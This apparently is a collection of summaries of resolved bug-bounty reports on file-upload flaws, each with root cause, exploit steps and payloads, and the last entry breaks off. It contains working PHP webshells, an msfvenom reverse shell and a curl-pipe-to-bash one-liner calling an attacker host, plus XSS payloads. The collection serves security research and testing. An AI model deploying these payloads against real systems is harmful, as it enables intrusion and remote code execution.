Specimen #1850065 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
File extension and size are validated only in the browser; the server accepts whatever is sent, so intercepting the upload and swapping the extension after the client check bypasses all restrictions.
Method
- Register/login to the bug-report feature
- Attach a file with an allowed extension
- Submit and intercept the multipart request in a proxy
- Rewrite the filename extension to a disallowed one (and inflate size past the limit)
- Forward - upload succeeds
Content-Disposition: form-data; name="attachment"; filename="poc.exe"
Content-Type: application/octet-stream
<malicious bytes>
Insight — Whenever an upload restriction is enforced, re-test it at the HTTP layer: the check that blocks in the UI is frequently absent server-side. Malicious attachments delivered to support/triage agents are the impact vector.
Real-world example
HTML file upload served inline = stored XSS (script runs from same origin)
◆ High
Specimen #900179 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface webTag file-uploadTag xss
Root cause
An upload feature accepts .html files and later serves them inline with Content-Type text/html from the application's own origin; the browser renders attacker JavaScript in that origin = stored XSS (and, where the app also interprets uploaded server-side scripts, a path to a webshell).
Method
- Find any upload that returns a direct/openable link to your file (attachments, avatars, email signatures, theme assets, form attachments).
- Upload an .html file containing a script payload.
- Retrieve the file's URL and open it; if the server responds Content-Type: text/html the script executes in the app origin.
- Escalate: exfiltrate document.cookie / act on behalf of any user who opens the file; test server-side script extensions (.php/.phtml) for execution.
<html>
<center><h1>defaced</h1></center>
<script>alert(document.cookie)</script>
</html>
<!-- served back as Content-Type: text/html from the app origin -> stored XSS -->
Insight — An upload filter that only blocks 'executable' server-side extensions still bleaks stored XSS if it lets .html/.svg/.xml through AND serves them inline. The tell is the response Content-Type on the file's URL: text/html (or image/svg+xml) = XSS; the fix programs applied was forcing text/plain or image/png / Content-Disposition: attachment. Always fetch the uploaded file's link and inspect its Content-Type header rather than trusting that 'it's just an image host'.
Real-world example
CSP unsafe-inline bypass via self-hosted uploaded JS
◆ High
Specimen #1380157 · rocket_chat · none · 13 votes · resolved
Program rocket_chatSurface webChain HTML injection -> upload JS same-origin -> srcdoc scriTag file-upload
Root cause
CSP blocks inline scripts but allows self-origin scripts. The file-upload feature accepts JS content-types and serves the file from the same origin, so an attacker uploads a .js payload and loads it with <script src>. A script-tag filter on messages is bypassed with an iframe srcdoc.
Method
- Upload payload.js via file upload with content-type application/javascript
- Via an HTML-injection/XSS sink, include it same-origin with a script src tag
- If script tags are stripped from the sink, use an iframe srcdoc to smuggle the include
<iframe srcdoc="<script src='/file-upload/<UPLOAD_ID>/payload.js?download'></script>">
Insight — A same-origin file-upload endpoint is a CSP bypass primitive: if 'self' is script-src and uploads are served from the app origin with a script content-type, uploaded JS satisfies CSP. Combine with iframe srcdoc to defeat script-tag filters.
Real-world example
Unauthenticated arbitrary file upload endpoint
◆ High
Specimen #698793 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface webChain unauth upload -> served content -> stored XSS / contenTag file-upload
Root cause
An upload endpoint (upload.php) is reachable without authentication and stores the file at a predictable/leaked path, letting anyone host arbitrary content on the target (path to stored XSS / code execution depending on handler).
Method
- Discover upload.php (directory brute-force / JS refs)
- POST a test file; the success message leaks internal storage paths
- Browse to the leaked path (e.g. /delete.me) to confirm the file is served
- Escalate: upload HTML/SVG for stored XSS or a server-executable type if the path executes
POST /upload.php HTTP/1.1
Host: TARGET
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition: form-data; name="file"; filename="delete.me"
Content-Type: image/png
<file bytes>
--x--
# then GET https://TARGET/<leaked internal path>/delete.me
Insight — Unauthenticated upload endpoints are high value even before proving RCE: the success response often leaks the web/storage path. Always fuzz for upload.php/handlers and read the response for internal paths, then test served content-type for XSS/exec.
Real-world example
Download validation skipped for HTTP + non-generic resource types (GoldSrc arbitrary client DLL)
◆ High
Specimen #508894 · valve · awarded · 11 votes · resolved
Program valveSurface desktopChain Malicious server sets sv_downloadurl -> client HTTP-downlTag file-upload
Root cause
The strong filename check (IsSafeFileToDownload) is only applied to 'generic' resources; other resource types (sound/model/eventscript/...) rely on the weak CL_CheckFile which only rejects '..' and 'server.cfg'. Worse, files fetched over HTTP (sv_downloadurl) skip the safety check entirely, so a malicious server can push any file to the client mod folder.
Method
- As the server, set the client's sv_downloadurl to attacker HTTP host.
- Advertise a forbidden-extension file under a non-generic resource type so IsSafeFileToDownload is not called: SV_AddResource(t_eventscript, filename, size, RES_FATALIFMISSING, 0) with filename = bin\\TrackerUI.dll.
- Host bin\\TrackerUI.dll on the sv_downloadurl server.
- Client connects, downloads the DLL over HTTP (no validation), and client.dll loads TrackerUI.dll in its Initialize function on next launch -> RCE.
// Server-side: register a forbidden file as a non-generic resource type
SV_AddResource(t_eventscript, "bin\\TrackerUI.dll", FS_FileSize("bin\\TrackerUI.dll"), RES_FATALIFMISSING, 0);
// client: sv_downloadurl http://ATTACKER -> HTTP fetch bypasses IsSafeFileToDownload entirely
// Root-cause fix (missing check in CL_CheckFile):
if (!IsSafeFileToDownload(pFileName)) { Con_DPrintf("Refusing to download restricted file.\n"); return 1; }
Insight — Look for security checks that are only wired into ONE of several code paths: an alternate transport (HTTP vs UDP/netchan) or an alternate object/resource type frequently skips the validator that the 'main' path enforces. Diff every download/upload path for the same guard.
Real-world example
Unrestricted upload on support-request form -> staff-triggered RCE
◆ High
Specimen #813395 · deptofdefense · none · 9 votes · resolved
Program deptofdefenseSurface webChain Upload -> staff opens attachment or browses stored file -Tag file-upload
Root cause
A public request/ticket form accepts arbitrary file types (only a <5MB size limit, no extension/content-type allowlist); attachments are delivered to and opened by staff, or may be reachable in the web root.
Method
- Find a public request/support/wizard form with an attachment field
- Upload an executable/.php/.phtml instead of the expected image/doc; it is accepted
- Submit; staff downloads/opens the attachment (client-side RCE) or attacker locates it under web root for a webshell
POST /___SubmitRequest/Index.cfm?fwa=wizardform
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php system($_GET['c']); ?>
Insight — Any form that emails/queues an attachment to an internal human is an upload sink even without direct web-root exec: malicious Office/HTA/exe files opened by staff = client-side RCE. Test extension allowlist, content sniffing, and whether the stored path is guessable/browsable.
Real-world example
Upload PHP into data dir served under web root -> RCE
◆ High
Specimen #678727 · nextcloud · none · 5 votes · resolved
Program nextcloudSurface webChain authenticated upload -> predictable web-root path -> dTag file-upload
Root cause
With the default datadirectory placed inside the Nextcloud web root, an authenticated non-admin can upload a .php file; because the data path is web-served and the username-based path is predictable, requesting it directly executes the PHP (also HTML -> stored XSS).
Method
- Log in as a low-priv user (name 'attacker')
- Upload shell.php via the normal file UI
- Browse directly to https://HOST/data/attacker/files/shell.php to execute it
POST upload shell.php (<?php system($_GET['c']); ?>)
GET https://HOST/data/<username>/files/shell.php?c=id
Insight — When a file store lives under the web root and paths are predictable (username/files/name), 'view-only' uploads become RCE; check whether uploaded files execute vs download, and whether the data dir is web-reachable.
Real-world example
Unrestricted upload in support form -> stored XSS on support agent
◆ High
Specimen #865354 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface webChain arbitrary file upload -> stored XSS in staff browser ->Tag file-uploadTag account-takeover
Root cause
A support-request form accepts arbitrary file types and later serves them for download/preview, so an uploaded .svg/.html executes JavaScript in the browser of the support representative who opens it (stored XSS via file upload), and executables can be delivered too.
Method
- Create/sign in to an account and open the support/ticket feature
- Upload a file with no server-side type allowlist - .svg or .html containing a script
- Submit; files are downloadable/openable from the ticket by staff
- When the support agent opens the .svg in a browser, the XSS fires in the app origin
- Escalate: swap alert() for window.location redirect to a fake login clone to harvest staff credentials
<!-- malicious.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
Insight — File-upload endpoints that are consumed by internal/support staff are high-value stored-XSS sinks - the victim is a privileged user. Test .svg and .html (served inline) whenever uploads lack a strict extension/content-type allowlist and are opened in-browser; impact is agent account compromise / credential phishing, not just self-XSS.
Real-world example
Reaching a Pillow heap overflow through a Content-Length restriction bypass
◆ High
Specimen #214449 · gratipay · none · votes · resolved
Program gratipaySurface webChain Content-Length restriction bypass -> oversized image reacTag file-upload
Root cause
gip.rocks used an outdated Pillow (2.9.0) vulnerable to heap overflows in image decoding. A separate Content-Length restriction bypass let an oversized image payload (788480 bytes) past the size gate and into Image.open()/resize(), reaching the vulnerable native decode path.
Method
- Identify server-side image processing using a known-vulnerable image library version (Pillow 2.9.0)
- Bypass the upload size gate by sending a Content-Length smaller than the real body (the CL-restriction bypass)
- Deliver a crafted .pcd/image payload that triggers the library heap overflow during resize()
import requests
requests.post('http://TARGET/v1',
data=open('payload.pcd','rb').read(),
headers={'Content-Type':'image/jpeg','Content-Length':' '}) # value smaller than 262144 to bypass the size check
Insight — Two weak bugs chain into one strong one: a size/validation bypass that on its own is only DoS becomes a memory-corruption delivery vector once it lets a malicious payload reach an outdated native image library. Always fingerprint the image library version and pair it with any input-size bypass.
Real-world example
Whitelist-managed upload extensions -> add PHP -> webshell RCE
◆ Medium
Specimen #768322 · concretecms · none · 113 votes · resolved
Program concretecmsSurface webTag file-upload
Root cause
Concrete CMS lets an admin extend the allowed upload file-type list; adding php then uploading a PHP file via File Manager yields a directly-executable webshell/reverse shell.
Method
- As an admin-capable user, open Allow File Types and add 'php'
- Upload a PHP reverse-shell via File Manager
- Start a netcat listener
- Browse to the uploaded file URL to trigger the reverse shell
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=1234 > shell.php
# upload shell.php, then: nc -nlvp 1234, then visit the file URL
Insight — Post-auth 'manage allowed extensions' features are a real RCE path in CMSes - if any role can edit the upload whitelist and the upload dir is web-executable, it is game over. Check whether uploaded files land under the web root and are served with script handlers.
Real-world example
Stored XSS via SVG upload served as image/svg+xml
◆ Medium
Specimen #880099 · gitlab · awarded · 88 votes · resolved
Program gitlabSurface webTag file-upload
Root cause
An SVG file containing an onload handler is uploaded (even with a .png name); the server stores/serves it with a content type that renders SVG, so opening the attachment URL executes the embedded script in the site origin.
Method
- Craft an SVG whose root element has onload=alert(1)
- Upload it as an attachment (wiki page/uploads), even naming it .png
- Open the direct uploads/ URL of the file; the SVG renders and JS runs
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg onload="alert(document.domain)" xmlns="http://www.w3.org/2000/svg"><polygon points="0,0 0,50 50,0"/></svg>
Insight — SVG is an HTML-executing image format. Any upload feature that serves user files from the app origin with an SVG content type is a stored-XSS vector — test SVG (with onload / <script>) against avatars, attachments, wiki uploads. Extension checks (.png) often don't stop it if the server sniffs or the viewer route forces rendering.
Real-world example
Reddit SVG upload via Content-Type swap -> corrupted image -> persistent cache-poisoning DoS
◆ Medium
Specimen #996041 · reddit · 500 · 65 votes · resolved
Program redditSurface webChain MIME bypass upload -> corrupted media object -> CDN caTag file-upload
Root cause
The upload flow validates MIME only on the initial request; uploading a valid PNG first then swapping Content-Type to image/svg+xml (and the body to malformed SVG/XSS) bypasses restrictions, and the resulting broken media object is cached by the CDN, causing a persistent DoS for every follower's home feed.
Method
- Create a media post; first upload a normal PNG (primes the flow)
- Add another image, intercept the request, change Content-Type image/png -> image/svg+xml and swap the body to SVG
- Post succeeds (201); the corrupted image poisons the cache -> followers' home page fails to load with no way to clear it
# Burp: on 2nd upload change header
Content-Type: image/svg+xml
# body -> SVG (external-ref rects / <a href=javascript:> / onload=alert) that the pipeline can't render
<svg xmlns=... ><rect fill="url('http://example.com/x.svg')".../></svg>
Insight — MIME validation that only inspects the first/priming request is bypassable by swapping Content-Type on a follow-up upload. A malformed-but-accepted media object cached by a CDN turns a file-upload flaw into a persistent, no-interaction DoS across all consumers of that cache key.
Real-world example
Content-Type validation bypass via malformed multi-value header
◆ Medium
Specimen #1019425 · pixiv · awarded · 30 votes · resolved
Program pixivSurface webChain Upload filter bypass -> HTML served on sandbox domain -&gTag file-upload
Root cause
The header-image upload validated Content-Type but accepted malformed multi-value values like 'text/html; image/png'. Supplying text/html let an HTML+JS file be stored and served as HTML on the sandbox domain s2.booth.pm -> stored XSS.
Method
- Upload a header image, intercept the request
- Set Content-Type to a malformed value containing text/html (e.g. 'text/html; image/png')
- Server accepts it and serves the HTML/JS file -> stored XSS on the sandbox domain
Content-Type: text/html; image/png
<html><script>alert(document.domain)</script></html>
Insight — File-upload Content-Type checks that do substring/loose matching can be beaten by malformed multi-value headers that smuggle text/html alongside an allowed type. Always test odd Content-Type combinations, not just single forbidden values.
Real-world example
Missing com.apple.quarantine xattr -> Gatekeeper bypass RCE
◆ Medium
Specimen #1019389 · basecamp · awarded · 29 votes · resolved
Program basecampSurface desktopChain malicious attachment -> missing quarantine -> GatekeepTag file-upload
Root cause
The macOS client writes downloaded message attachments to disk without applying the com.apple.quarantine extended attribute, so Gatekeeper never evaluates them. An auto-executing format (.terminal) delivered as an attachment runs a shell command on open with no unidentified-developer prompt.
Method
- Craft a .terminal file whose CommandString is a reverse-shell one-liner
- Send it as a message attachment via the app
- Victim downloads and opens it in the client
- Command executes with no Gatekeeper warning
<plist><dict><key>CommandString</key><string>curl -Ls https://ATTACKER/x | bash -s HOST PORT</string><key>RunCommandAsShell</key><false/><key>name</key><string>exploit</string><key>type</key><string>Window Settings</string></dict></plist>
Insight — For any desktop app that saves user-supplied downloads, check whether the saved file carries the quarantine xattr (xattr -p com.apple.quarantine file). If absent, Gatekeeper is bypassed and auto-executing formats (.terminal, .command, .app, .webloc) become RCE.
Real-world example
File-access policy enforced on extension, not MIME type
◆ Medium
Specimen #697959 · nextcloud · awarded · 13 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
A 'file access control' rule intended to block file types by MIME actually only inspects the filename extension, so renaming a forbidden binary (e.g. .exe) to an allowed extension (e.g. .txt) bypasses the upload/download restriction.
Method
- Admin configures a rule blocking a MIME type (e.g. executables)
- Rename the blocked file to an allowed extension
- Upload and later download it; content is unchanged, restriction bypassed
copy malware.exe malware.txt # upload malware.txt, rename/execute after download
Insight — When a control claims to filter by MIME/content type, test whether it actually checks only the extension (and vice versa). Extension vs real content-type mismatch is a standard upload-policy bypass.
Real-world example
User-controlled storage slot/filename parameter
◆ Medium
Specimen #259913 · deptofdefense · none · 10 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
An image-upload feature caps users at 10 logos via a client-supplied slot index (imgnum=1..10) that the server trusts as the storage key, so setting an arbitrary imgnum lets a user write unlimited distinct files with attacker-chosen names/keys.
Method
- Upload a logo normally and capture the POST
- Change the imgnum parameter to an arbitrary value (word or large number)
- Mirror the same value in the retrieval URL to fetch it back
- Repeat to fill storage / bypass the per-user file cap (storage DoS)
POST .../upload (multipart) with imgnum=cow # instead of 1-10
GET /scripts/wa.cgi?VL&Y=<acct>&imgnum=cow # retrieves it
Insight — When a limit or object key is enforced by a client-supplied index/slot parameter, fuzz it: arbitrary values often escape count limits and can enable path/key control. Server should allocate keys, not trust the client's imgnum.
Real-world example
SVG upload served from trusted path -> stored XSS/redirect
◆ Medium
Specimen #368927 · rocket_chat · none · 10 votes · resolved
Program rocket_chatSurface webTag file-upload
Root cause
Uploaded SVG files are accessible under a trusted app path (/file-upload/ID/name.svg) and rendered as active content, so embedded JavaScript executes in the victim's browser (redirect, malware push, or XSS). The upload allowlist blocked html/shtml/php but not svg.
Method
- Upload an SVG containing script to any chat/upload feature.
- Send the victim the /file-upload/ID/name.svg URL on the trusted domain.
- The SVG's JS runs when opened (redirect to phishing, download, or arbitrary script).
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location='https://attacker.example/phish'</script></svg>
Insight — SVG is executable content. If an upload filter blocks html/php but allows svg and serves it inline from the app origin, you have stored XSS (and thus arbitrary redirect). Always test svg upload; remediation is to block svg or serve uploads from an isolated origin with Content-Disposition: attachment.
Real-world example
Remote-file import writes PHP to guessable uniqid() temp dir for RCE
◆ Medium
Specimen #1350444 · concretecms · none · 10 votes · resolved
Program concretecmsSurface webChain remote file import bypass -> transient .php survives via Tag file-upload
Root cause
A 'download remote URL' feature writes fetched content (including .php) into a temp dir named by uniqid(), whose first 8 hex chars are the UTC timestamp; the dir is normally deleted in a destructor, but forcing a mid-batch error leaves the file long enough to bruteforce the last 5 hex chars and execute it.
Method
- As admin, use file manager remote import: first URL = your webshell (byc.php), followed by 20+ URLs to a slow /stuck endpoint
- Slow endpoint sleeps 10s each so total processing approaches the 120s limit and errors before VolatileDirectory __destruct cleanup runs
- Webshell .php remains in volatile-0-<uniqid> temp dir
- Derive creation time from first 8 hex chars of the dir name, bruteforce the last 5 hex chars, request the file -> RCE
# malicious server serving webshell + slow endpoints
EXPLOIT="<?php phpinfo();"
# do_GET: if path=='/stuck': time.sleep(10)
# recover creation time from dir name volatile-0-614daecb71435
import datetime
print(datetime.datetime.fromtimestamp(int('0x614daecb',16), tz=datetime.timezone.utc))
# -> 2021-09-24 10:56:11+00:00 ; bruteforce last 5 hex chars
Insight — uniqid() is NOT random: its leading chars encode the timestamp, so any file/dir/token named with uniqid() is bruteforceable once you know roughly when it was created. Also, cleanup destructors can be dodged by making the request error before they run, turning a transient file into a persistent one.
Real-world example
Upload-restriction bypass by renaming shell to an allowed extension (.txt / image)
◆ Medium
Specimen #823588 · stripo · none · 8 votes · resolved
Program stripoSurface webTag file-upload
Root cause
The upload control enforces its extension/type check only against a blacklist (or a front-end-only whitelist), so a dangerous file is accepted simply by giving it an allowed extension; the file content is never inspected server-side.
Method
- Attempt to upload the malicious file with its native extension (.php); observe it is blocked -> a filter exists.
- Save/rename the same payload to an allowed extension the form accepts (.txt worked here; also try .jpg/.jpeg, or an image polyglot).
- Re-upload; the file is accepted. Retrieve its URL to check whether it is served/interpreted (impact depends on how the app serves it).
# blocked:
r57.php
# accepted (rename to an allowed extension the form's list permits):
r57.txt # allowed-extension rename (worked in triage)
r57.JPEG # image disguise variant
# 949295 variant: form allows .csv/.txt/.xls/.xlsx only -> rename payload.html to payload.txt to defeat the front-end whitelist
Insight — Never conclude 'upload is restricted' after the native extension is rejected. Enumerate the whole allow-list and re-try the payload under each permitted extension; the check is almost always extension-string-only and never validates real content. If the whitelist is enforced only in the browser, intercept and change the extension in the request. Confirm real impact by checking how/whether the stored file is later served or interpreted before rating it.
Real-world example
Stored XSS via unescaped caption/subtitle (.vtt) file on legacy Flash player
◆ Medium
Specimen #88508 · vimeo · awarded · 8 votes · resolved
Program vimeoSurface webTag file-upload
Root cause
Caption/subtitle file content is stored and rendered without escaping by the Flash-based player; the HTML5 player escapes, so the attacker forces the Flash player (via the Hubnut widget) to reach the vulnerable render path.
Method
- Upload a .vtt caption file whose cue text contains HTML/JS
- Enable the caption on the video
- Force the legacy Flash player (e.g. Hubnut widget URL) where captions render unescaped
- Activate CC; payload executes for any viewer
<!-- inside English.vtt cue text -->
<img src=x onerror=alert(document.domain)>
Insight — Uploaded media side-files (subtitles .vtt/.srt, metadata, ID3, EXIF) are stored-XSS vectors when a rendering path echoes them unescaped. Different players/renderers of the same asset can differ in sanitization -- find and force the weakest one.
Real-world example
Failed archive import leaves uploaded PHP in web root -> RCE
◆ Medium
Specimen #236607 · expressionengine · none · 7 votes · resolved
Program expressionengineSurface webChain malicious zip -> extract-before-validate -> orphaned PTag file-upload
Root cause
The Import Channel feature extracts a user-supplied .zip into a web-served cache directory before validating that all required files are present; on a deliberately incomplete archive the import errors out but the extracted files (including .php) are never cleaned up, and the directory has listing enabled.
Method
- Upload a channel-set .zip that contains a webshell (test.php) but omits a required import file.
- The import fails with 'file doesn't exist', but the archive was already extracted to /system/user/cache/cset/.
- Browse the directory listing at /system/user/cache/cset/<tmpdir>/ and open test.php?cmd=whoami to execute commands.
# test.php inside the zip
<?php system($_GET['cmd']); ?>
# then:
http://HOST/system/user/cache/cset/<tmpdir>/test.php?cmd=whoami
Insight — Any 'extract archive, then validate' flow is exploitable if extraction happens before validation and the temp dir is web-reachable. Force the validation to fail so cleanup is skipped, then request the residual file. Always test whether upload temp/cache dirs are under the web root and have directory listing.
Real-world example
Presigned S3 upload: content-length silently unsigned -> arbitrary file size
◆ Medium
Specimen #789579 · rails · awarded · 5 votes · resolved
Program railsSurface cloudTag cloud-awsTag file-upload
Root cause
ActiveStorage direct-upload asks S3 to presign a PUT constrained by content_length, but the aws-sdk-s3 presigner silently blacklists the content-length header unless whitelist_headers is set, so the size constraint is never actually part of the signed URL and the client can upload any size (CVE-2020-8162).
Method
- Identify a client-side direct-upload flow that presigns to S3 (filename, content_type, byte_size, checksum sent to a DirectUploads controller)
- Request a presigned URL declaring a small byte_size
- Inspect the returned URL: content-length is absent from the signed query params
- PUT a much larger file to the presigned URL; S3 accepts it, bypassing the app's size validation
# presigner drops content-length unless whitelisted:
object.presigned_url(:put, content_type: ct, content_length: n, content_md5: sum)
# -> URL has NO content-length; fix requires whitelist_headers: ['content-length']
Insight — Never assume a presigned-URL constraint (content-length, content-type) is enforced just because you passed it to the SDK - some SDKs silently drop headers that are not explicitly whitelisted. Verify the signed query string actually contains the constraint; if it is missing, client-declared limits are advisory only and can be exceeded.
Real-world example
SWF uploaded as .jpg, content-type-sniffed as Flash -> cross-origin reads
◆ Medium
Specimen #17390 · uzbey · none · 1 votes · resolved
Program uzbeySurface webChain file upload (SWF as .jpg) -> content-sniffing cross-origiTag corsTag file-upload
Root cause
An image-upload feature stores an attacker SWF under a .jpg name on the victim origin; browsers/Flash content-sniff it and execute it in the victim's origin, letting the attacker's page read same-origin responses (pages, CSRF tokens) cross-origin.
Method
- Upload a malicious SWF renamed with an image extension (magic.jpg) to the victim origin's user gallery.
- From an attacker page, iframe a helper page that <embed>s the uploaded SWF from the victim origin.
- The SWF runs with the victim origin and issues authenticated GET requests, returning page source (incl. anti-CSRF tokens) to attacker JS.
- Parse the token and auto-submit a state-changing POST -> site-wide CSRF.
# attacker sniff.html embeds the uploaded SWF served from victim origin:
<embed src="https://staging.victim.com/sites/default/files/magic.jpg" type="application/x-shockwave-flash"></embed>
// SWF: GET https://staging.victim.com/messages/new -> callback nice(sourceHtml) -> extract form_build_id/form_token -> POST
Insight — Allowing user files to be served from the app's own origin with sniffable content types breaks the same-origin barrier: an uploaded SWF/HTML that the browser content-sniffs runs as the victim origin. Serve uploads from a sandbox domain, force Content-Type + X-Content-Type-Options: nosniff, and never trust extension-only validation.
Real-world example
Stored XSS via image EXIF payload + Content-Type coercion
◆ Low
Specimen #964550 · shopify · none · 56 votes · resolved
Program shopifySurface webTag file-upload
Root cause
An avatar/image upload embeds an HTML/script payload in a PNG metadata (tEXt Comment) chunk, and the server stores/serves the file with an attacker-chosen Content-Type (text/html) instead of validating/normalizing it, so the browser renders the 'image' as HTML.
Method
- Write the script into a PNG comment with exiftool
- Upload it via the avatar/image endpoint
- In Burp, change the multipart part's Content-Type from image/png to text/html
- Fetch the stored asset URL from the CDN; the payload executes
exiftool -Comment="\"><script>alert(document.domain)</script>" poc.png
# then in the upload request:
Content-Disposition: form-data; name="account[avatar]"; filename="poc.png"
Content-Type: text/html
Insight — When an upload lets you control the stored Content-Type (or the server sniffs to text/html), metadata-embedded HTML becomes stored XSS. Always test flipping the part's MIME to text/html and put the payload in EXIF/tEXt chunks so magic-byte checks still pass.
Real-world example
Client-side-only filetype check bypass
◆ Low
Specimen #1606957 · reddit · awarded · 33 votes · resolved
Program redditSurface webChain Malicious-doc delivery (weaponized office doc) to an internaTag file-upload
Root cause
Allowed file types are enforced only by client-side JavaScript on drag-and-drop; the underlying apexremote/uploadFile endpoint performs no server-side type check, so a crafted request uploads any file.
Method
- Observe allowed types (jpg/png/pdf) enforced in JS
- Send the upload request directly (Salesforce Visualforce apexremote uploadFile) with a base64 docx
- 200 OK confirms no server-side validation -> deliver malicious doc (e.g. Follina) to the form handler
POST /adhelp/apexremote HTTP/1.1
Host: reddit.secure.force.com
X-User-Agent: Visualforce-Remoting
Content-Type: application/json
{"action":"AdvertisingHelpController","method":"uploadFile","data":["<base64 docx>","","Dummy Data.docx",...],"type":"rpc","tid":3,"ctx":{...}}
Insight — Whenever upload restrictions look client-side (JS blocks drag-drop), replay the raw multipart/RPC request with a disallowed extension. Salesforce force.com apps expose apexremote uploadFile as the server sink.
Real-world example
SVG XSS bypasses image validation via .svg.png double extension (content sniffing)
◆ Low
Specimen #998422 · nextcloud · none · 21 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
An avatar/contact image uploader that blocks .svg is bypassed by uploading an SVG named .png; Chrome content-sniffs the actual SVG markup and renders/executes it when the image is opened directly in a tab (CVE-2020-8280).
Method
- Take an SVG containing a script/redirect payload
- Rename it to bypass the extension check (redirectxss.svg.png)
- Upload as contact/avatar image
- In Chrome, open the image in a new tab -> SVG script executes
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg> (saved as file.svg.png)
Insight — Extension/Content-Type checks are insufficient against SVG XSS because browsers sniff content. Retry blocked SVG uploads with .png/.jpg extensions; direct-open (Open image in new tab) forces render. Works in Chrome/Chromium, not Firefox in this case.
Real-world example
Attacker-controlled upload filename via mutable 'key' param + path disclosure
◆ Low
Specimen #1781751 · nextcloud · awarded · 6 votes · resolved
Program nextcloudSurface webChain Attacker-controlled filename + disclosed absolute path ->Tag file-upload
Root cause
The theming logo/favicon upload uses a client-supplied 'key' value as the stored filename, so intercepting and modifying it lets the attacker control the written filename/path; an error additionally discloses the server path.
Method
- Go to /settings/admin/theming and upload a logo or favicon
- Intercept the request in Burp
- Modify the 'key' parameter to control the resulting filename/location on disk; trigger the error that reveals the absolute path
POST /settings/admin/theming/ ...
# modify the 'key' field (used as filename) to an attacker-chosen value
Insight — When an upload endpoint takes a separate name/key/path parameter, fuzz it independently of the file content: server-side use of the client value as a filename yields arbitrary-filename writes and, combined with verbose errors, path disclosure that seeds later traversal/overwrite attacks.
Real-world example
Pre-authentication file upload on the login endpoint
◆ Low
Specimen #201529 · ui · awarded · 4 votes · resolved
Program uiSurface webChain pre-auth upload (fill tmp/upload) -> DoS; + LFI/path travTag file-upload
Root cause
The AirFibre login.cgi endpoint processes multipart file uploads and writes them to tmp/upload before performing authentication, so an unauthenticated attacker can drop arbitrary files (DoS via disk exhaustion; potential RCE if chained with LFI or a writable web root).
Method
- POST a multipart/form-data body with a file part to the unauthenticated login endpoint.
- Observe the file is written to tmp/upload with no session/auth required.
- Repeat to exhaust disk (DoS); chain with an LFI/path-traversal to reach code execution.
POST http://TARGET/login.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRfhSBNfoYzLOvXnc
------WebKitFormBoundaryRfhSBNfoYzLOvXnc
Content-Disposition: form-data; name="file"; filename="test6.txt"
Content-Type: text/plain
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
------WebKitFormBoundaryRfhSBNfoYzLOvXnc--
Insight — On embedded/IoT and appliance web UIs, test the login/CGI endpoints for file-handling BEFORE authenticating. Handlers that parse multipart bodies early can persist attacker files pre-auth; even without directory control it is a disk-fill DoS and an LFI chain seed.
Real-world example
Webshell surviving image resize -> RCE
◆ Info
Specimen #158148 · x · awarded · 50 votes · resolved
Program xSurface webChain Content-sniff/encoding tripped triage; use Burp to see raw rTag file-upload
Root cause
An image upload endpoint preserved the client extension and resized images to 50x50 at a fixed JPEG quality; by crafting a JPEG that keeps a PHP webshell after that exact resize/recompression and uploading it as .php, the reporter achieved RCE.
Method
- Find fileUpload.php; note it preserves extension and resizes to 50x50
- Read the post-resize quality from the returned image metadata (here 75%)
- Generate a 50x50 75%-quality JPEG with an embedded PHP shell that survives recompression
- Upload with .php extension; request the stored file with ?c=id
POST /api/actions/fileUpload.php (multipart, filename="shell.php")
<crafted 50x50 75% JPEG carrying <?php system($_GET['c']); ?>>
# then: GET /view/data/logos/shell_<id>.php?c=id
Insight — Image processing is not a safe filter: if the extension is attacker-controlled, craft a polyglot that survives the exact resize/quality pipeline (match the server's output quality, read from returned metadata). Reference: virtualabs bulletproof JPEGs.
Real-world example
Stored XSS via image upload accepting HTML (served as text/html on CDN)
◆ Info
Specimen #97672 · x · awarded · 24 votes · resolved
Program xSurface webTag file-upload
Root cause
The app-icon image upload does not validate real file type; an HTML file uploaded with a .jpg name (then swapped to .html and Content-Type text/html) is stored and served inline from images.mopub.com, executing as HTML.
Method
- Select an HTML file but give it a .jpg extension to pass the picker
- Intercept the upload and change filename to .html and Content-Type to text/html
- Open the stored file URL; it renders as HTML and the script executes
POST /inventory/app_icon/upload/
Content-Disposition: form-data; name="image_upload"; filename="xssfileuploadcopy.html"
Content-Type: text/html
<html><script>alert(document.domain)</script></html>
Insight — Image-upload endpoints that trust client extension/Content-Type and serve files inline from a CDN origin allow stored XSS; upload HTML, flip the extension/MIME in the request, then open the file URL directly.
Real-world example
Unicode-whitespace extension smuggling bypasses upload deny-list (CVE-2021-32708)
◆ Info
Specimen #1720822 · nextcloud · none · 17 votes · resolved
Program nextcloudSurface webChain deny-list bypass -> PHP file in executable dir -> RCETag file-upload
Root cause
Flysystem 1.x/2.x normalized paths by silently stripping unicode whitespace; a filename whose extension contains a unicode whitespace char passes an extension deny-list check, then the whitespace is removed, leaving an executable extension on disk.
Method
- When an app validates uploaded filenames against a deny-list (blocks .php etc.) rather than an allow-list, insert a unicode whitespace char inside the extension.
- Deny-list sees a non-.php extension and accepts; the storage layer strips the whitespace and writes shell.php.
- If the upload dir executes PHP, request the file for RCE.
# conceptual: extension with U+00A0/U+200B/U+2028 etc.
shell.ph\u00A0p -> stored as shell.php after whitespace normalization
Insight — Deny-list extension filters are defeated by any normalization step that runs after the check. Probe with unicode whitespace and other chars the storage layer normalizes; always prefer allow-lists.
Real-world example
Stored XSS via SVG upload served as image/svg+xml
◆ Info
Specimen #148853 · paragonie · awarded · 15 votes · resolved
Program paragonieSurface webTag file-upload
Root cause
